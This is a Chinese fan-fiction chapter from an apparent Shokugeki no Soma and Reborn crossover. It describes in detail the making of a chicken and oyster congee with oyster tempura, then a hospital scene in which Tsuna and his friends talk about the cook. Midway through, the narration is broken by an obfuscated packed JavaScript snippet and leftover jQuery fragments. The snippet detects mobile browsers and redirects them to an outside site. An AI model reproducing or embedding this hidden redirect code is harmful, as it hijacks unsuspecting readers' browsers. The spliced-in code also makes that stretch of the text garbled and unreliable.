25.生蚝鸡丝粥配生蚝天妇罗、紫菜脆苔鸡骨棒

作品:《[综漫]食戟是爱好,恋爱是生活

    从肉铺里买来的新鲜鸡腿放在砧板上,笠野田栗今天用的厨刀是剔骨刀,长且薄的刀身加上尖刺端,用来处理简单不费力的肉类是最为趁手的。


    她握住刀柄,大拇指和手掌捏住刀身,食指把在顶上,手腕带着刀从鸡腿骨刺入,像是刀是手延伸的一部分一样。


    从鸡腿的侧面切开,顺着鸡骨的方向划开,因为不需要用到鸡腿上的脆骨部分,在鸡肉和骨头分离开后,竖起刀尖沿着两边脆骨部分划一个圈。


    鸡腿肉跟腱内顺着骨头切离开。


    完整方正的鸡腿肉和干净的鸡腿骨就这样整齐利落的分离开,鸡腿里的小骨头已经被切断,用手就可以轻易剥开。


    这样处理的鸡腿肉的皮和肉还紧密地连在一起,将鸡腿肉翻过来,皮朝下肉朝上。


    笠野田竖起厨刀,用指腹确认了一下刀刃的锋利度,左手压住肉块,右手按刀,指尖用力,手腕带动刀的前端起落,后端几乎贴在砧板上。


    仅仅只把重心压在刀身前面,用巧劲将鸡肉片成带着皮的肉片,切一刀往旁边压一下防止肉粘连在刀身上影响视野。


    这种切法保证的是鸡肉本身的脆嫩弹能达到最极致。


    在处理完剩下几只鸡腿后,切好的肉丝放在碗中,撒上盐和油搅拌下起到一个封住的作用,鸡骨头则是扔进清水锅里熬煮。


    冷水下锅,锅开后撇去浮沫,再转小火一直煨着,汤开而不滚的状态是最好的。


    这个时候就可以处理其他比较简单的东西了。


    买来的牡蛎(生蚝)有两种,一个是常规的大小,撬开之后的牡蛎表面鼓囊囊的,每只基本都有手掌大小,隐约可以从表面看到透出来的绿色消化藻类,这是生蚝肥度完美的体现。


    表面已经有渗出的清液,如果是吃生的话,这个时候稍微清理一下再切上一角柠檬挤点柠檬汁,就可以准备吃了。


    笠野田栗却不打算这样做,她把水龙头的水流调整到最柔和的流速,把生蚝一个个从壳里剔除出来,将软如豆腐般的肉捧在手心,用流水清理可能存在的牡蛎壳碎片。


    一个个都弄干净之后,放在一个小盘里备用。


    接着开始处理小罐的生蚝仔。


    小罐的生蚝仔里大约有着三四十个小生蚝,这属于生蚝养殖时的副产品,虽然没有令人心惊的肥度,但其柔嫩和体型也可以做出不少美味。


    打开罐子,倾泻而下倒进漏网里,用清水持续淋在上面,另一只手轻而柔地搅拌,尽量不伤到生蚝肉,而是清洗堆积在一起的腥味。


    在几乎嗅不到那股液体的味道时,就把剩下来的生蚝仔放在碗里备用。


    蔬菜的部分则是用到了番瓜(西葫芦),这是一种生的时候有毒,熟了之后则是会散发出特殊清甜味的瓜类。


    它几乎没有自己特殊的味道,包容性极强。


    笠野田栗把切肉的砧板洗干净,放回了原位。她在家里做菜的时候仍然会保持自己在后厨学习时的习惯,随手清洁,菜板分离。


    从墙上取下和切肉板颜色迥异的切菜板,西葫芦切头去尾,按住其中一端,尖刀往下纵切,破开西葫芦,切成等分的八份,再细细切成小丁。


    这是相当快速的手法,切到末端还没有分开的部分再单独切开就好。


    切成小丁的西葫芦容易因为空气中的氧气加速氧化,虽然不影响用餐时的风味,但笠野田不希望让纲吉他们吃到一份不完美的料理。


    她把西葫芦放进加了盐的水盆里,保证它的润度。


    增添粥品香气的香芹和香葱则是摘洗后切去根部,再细细切成小丁。


    最后需要准备的就是面糊了。


    笠野田想要做的是一份粥类的即食套餐。


    除了主体的粥之外,她还想要做一份炸物来平衡有些清淡的粥。


    将鸡蛋和低筋面粉还有玉米淀粉和泡打粉按照比例倒进盆子里,加些冰水一起搅拌成有些稠度的面糊,先不需要管它。


    炖着汤的锅已经飘出了独属于鸡汤特有的醇香,独属于美食的指向想象让笠野田脑袋里的多巴胺都分泌出来。


    她已经想象到了这道料理的口感,但目前还只是个空想。


    拿起沾满水汽的锅盖,鸡汤是清亮的透色,面上浮着一层明亮的金黄色油脂,被咕咚咕咚的气泡打散开。


    里边的鸡腿骨已经呈现了一种软烂的质地,还余留在脆骨上的皮脂也变成了黄色,软弹弹的,露出的骨髓变成了深棕色,让人忍不住想咬上一口,细细地在唇齿间切碎品尝。


    很美味。


    ——但笠野田并不打算把它们留在这里。


    她将骨棒都捞起来,放在锡纸叠成的小碗里。


    把汤锅的火打到最大,在汤滚起来的间隙里从冰箱里取出了她准备好的秘密武器——生米加水冻成的冰块。


    水凝结成冰的时候,产生的微小冰晶会刺破大米的细胞壁,破坏米粒本身的组织结构,使得内部产生小孔。


    而将大米冰块扔进滚烫的高汤里时,米粒则会因为那些气孔而快速吸水,淀粉也比平常更快地释放出来,从而会比平常更快地变成一锅‘开花’了的粥水。


    这就是为什么她没有花大力气先去熬化粥。


    她盯着锅里的汤和米在大火沸腾的情况下逐渐融合在一起,析出的淀粉将原本清透的汤侵染、高汤也浸入了膨大的米粒中。


    当粥水中的米花越来越多,表面上出现了粘稠的米油,笠野田第一时间将鸡腿肉丝倒进粥里。


    同时用勺子不断地搅拌,打散鸡肉也避免米粒沉底糊锅。


    红色细丝般的鸡肉在高温下迅速变成了白色,细嫩的纤维上裹着玉似的米汤。


    把西葫芦丁倒进粥里,煮到它瓜肉的部分逐渐变得透明,就证明它已经熟了。


    但这道料理并不止于此,笠野田把火打到最大,锅子里发出咕嘟咕嘟的气泡声,粘稠的粥水裹着新鲜的食材,温度逐渐上升。


    她把早就准备好的生蚝仔一股脑放进粥里,加上适量的盐和白胡椒粉进行调味,用勺子搅拌一番后直接关上火。


    撒上香葱和芹菜铺在粥上后直接盖上盖子让它焖着。


    生蚝是相当容易熟的海产品,为了保持它的鲜嫩,这种焖熟的做法是最合适的。


    空气里已经满是大米的醇厚香味混杂着海鲜的气味,美味因子勾动人的胃,加上了蔬果的清甜更是让人欲罢不能。


    笠野田栗把锅包在保温纸里,又放进了木箱里。


    那是她从市集上淘来的,是一个相当大的手提箱,可以上下抽拉取出里面的东西,还好她的力气比较大,不然还真没办法行动如常。


    现在可以开始处理鸡腿骨和生蚝了。


    把已经完全煮透的鸡腿骨两面刷上酱油,两边还有肉的脆骨部分都沾上刷上紫苏油的紫菜,把它平整摆到放了锡纸的烤盘上。


    放进烤箱170°烤上五分钟。


    这个时间里从冰箱拿出冰镇啤酒倒进面糊里重新调配,面糊保持流动状态,提起倒下没有波纹残留,这种程度就是合格的天妇罗面糊了。


    冰镇的啤酒液体代替了其中水的部分,酒精则是面衣轻盈酥脆不回软的关键。</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17116483|195114||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    因为是要带到医院去的,所以面衣不想要冷了之后会很厚重的类型。


    锅里倒进宽油,大火加热,油里有细密的小气泡产生,锅面泛起白汽。


    笠野田用筷子点了一点面糊沉进油里,耳边响起噼里啪啦的油爆声,鼻尖嗅到了面衣的香气。


    ——准备好了。


    她舍弃筷子,转而用洗干净擦干的手捏着生蚝,在上面撒上薄薄的一层面粉,然后把它放在面糊中轻柔翻动,全都裹上之后再轻轻抖动着滑入油锅。


    因为没有多余的水分,油在裹着面糊的生蚝旁边迅速滚动,繁多的气泡炸开又涌起,浅白色的面糊在高温下绽放出金黄色,薄脆的面衣像是一层罗衣包裹在生蚝面上。


    一只只生蚝像是排队般跳进油锅,飘起来的金船旁边的躁动声消失的时候,就证明这道美味已经准备好了。


    笠野田栗用筷子夹起牡蛎天妇罗,轻柔地把它们码放在吸油纸上。


    配上现磨的白萝卜泥和鲷鱼烧装的酱油,还有切角柠檬。


    再一起放进宽大的盘子里盖上盖子,放进箱子里。


    碗筷和分装的用具也一起塞进去摆好。


    笠野田拉上挡板,合掌看了看时间。


    完美的四十分钟。


    厨房里充满了属于料理的香气,她简直迫不及待了——


    享受美食吧!大家!


    *


    并盛医院,病房里。


    除了不太熟还打了一架的云雀恭弥,所有人都收到了笠野田的群发消息,她对料理的爱简直炙热得让人无法避开。


    【等我过来!】


    【附图:摆在超大木箱里的锅碗瓢盆.jpg】


    沢田纲吉旁边围坐着比他好点的山本和狱寺,三个人面面相觑,想到之前尝过的料理。


    其中沢田纲吉感触最深,和只吃过甜点和小吃的两人不同,他时常接受笠野田的主动被动投喂,现在就连妈妈都时常会考虑要不要请阿栗来家里一起吃饭了。


    “阿栗做的料理啊……”沢田纲吉明明身体酸软,头上也疼疼的,却还是忍不住咽了咽口水,感觉早上吃的医院餐有些食之无味了。


    “超级好吃啊。”他怀里抱着枕头,整个人窝在里面,很想做大点的动作但有心无力。


    “狱寺同学和山本同学应该还没有吃过阿栗做的正餐吧?”他夸人的时候带着天然的羡慕和喜悦,“听里包恩说,到时候阿栗要去什么远月学院进修呢,应该是很厉害的学校吧。”


    “料理也好、还很会打架,连性格都很可爱……”他越说越小声,感觉自己的心在这种安静的地方却跳得越来越大声。


    “那家伙哪里可爱……”狱寺下意识反驳,反应过来之后直接一个头敲床板,双手撑着做了一个简单的土下座,“抱歉十代目!我只是觉得笠野田虽然做饭做得很好吃,实力也很强大,但是可……可……”


    他犹豫着,那个词怎么也吐不出来,却被山本武一巴掌狠狠地拍了肩膀,脸埋进被子里。


    “哈哈哈哈哈狱寺,阿纲说的没错啊,阿栗确实是个很可爱的女孩子啊!”


    “她做的小吃给人惊喜感满满!”他笑眯眯,竖起大拇指,“我老爹也说她是个很不错的女生喔!”


    “你这个——棒球——笨蛋!”狱寺隼人猛地弹起来,却扯到了自己的伤口,呲牙咧嘴一番指着山本开始数落。


    “这个……那个……”沢田纲吉在中间夹着两边劝阻无果,下意识把自己的在意藏在心底。


    欸……


    阿栗什么时候去了山本同学的家里吗?